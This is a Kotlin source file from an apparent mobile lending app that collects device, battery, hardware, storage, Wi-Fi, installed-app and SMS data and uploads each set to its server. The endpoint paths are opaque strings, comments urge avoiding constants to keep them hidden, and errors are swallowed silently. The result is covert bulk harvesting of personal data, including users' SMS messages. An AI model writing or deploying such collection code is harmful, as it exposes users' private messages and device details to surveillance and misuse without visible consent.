package com.solocredit.finance.data.dv

import com.solocredit.finance.config.MullaConfigs
import com.solocredit.finance.http.ApiService
import com.solocredit.finance.http.HttpHelper
import com.solocredit.finance.http.IHttpCallback
import org.json.JSONObject
import java.io.IOException
import java.util.concurrent.CompletableFuture

object DvDataManager {

    fun startSubmitData(typesArray: String) {
        try {
            val exc = DvDataMode()
            if (typesArray.isBlank()) return

            if (typesArray.contains("T2")) {//battery
                val path = "CIAxCLqpu40aawYC6aq7Og"
                exc.getDvBatData(path) { params ->
                    // 尽量定义减少常量，用运行时变量值代替
                    val url = ApiService.getHttpUrl("/$path")
                    val result = listOf(
                        CompletableFuture.supplyAsync {
                            postMullaDvData(url, params)
                        }
                    )
                    CompletableFuture.allOf(*result.toTypedArray()).thenRun { }
                }
            }

            val taskList = mutableListOf<CompletableFuture<String>>()
            if (typesArray.contains("T1")) {//device
                val path = "NK48KXbp4w06RUHQBIlsA"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T3")) {//hardware
                val path = "Qp8cKrrZuhgZrb48G1Y9A"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvHdData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T4")) {//storage
                val path = "a8kY5TLE2Cph3vQiVU0O6w"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvStoData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T5")) {//wifi
                val path = "fS1itWuQN18um54zoKFSA"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvNetworkData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            // TODO: 只有坦桑需要上报appList数据 
            if (typesArray.contains("T6") && MullaConfigs.isTanz()) {//appList
                val path = "j21edvbTfCyLiX8ONpMgX9w"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvAplData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T7")) {//sms
                val path = "v7YGCHDLaTzwwIBAEYFwA"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvIMSData(path)
                        postMullaDvData(url, params)
                    }
                )
            }

            if (taskList.isEmpty()) return

            CompletableFuture.allOf(*taskList.toTypedArray()).thenRun { }
        } catch (e: Exception) {
            //
        }
    }

    /**
     * 提交设备数据
     */
    private fun postMullaDvData(toUrl: String, body: String?): String {
        try {
            if (toUrl.isBlank() or body.isNullOrBlank()) return toUrl

            HttpHelper.postMullaAction(toUrl, JSONObject(body),object : IHttpCallback {
                override fun onRequestSuccess(data: JSONObject) {

                }

                override fun onRequestError(error: JSONObject) {
                }

                override fun onRequestFinish() {
                }
            })

        } catch (e: IOException) {
            e.printStackTrace()
        }
        return toUrl
    }
}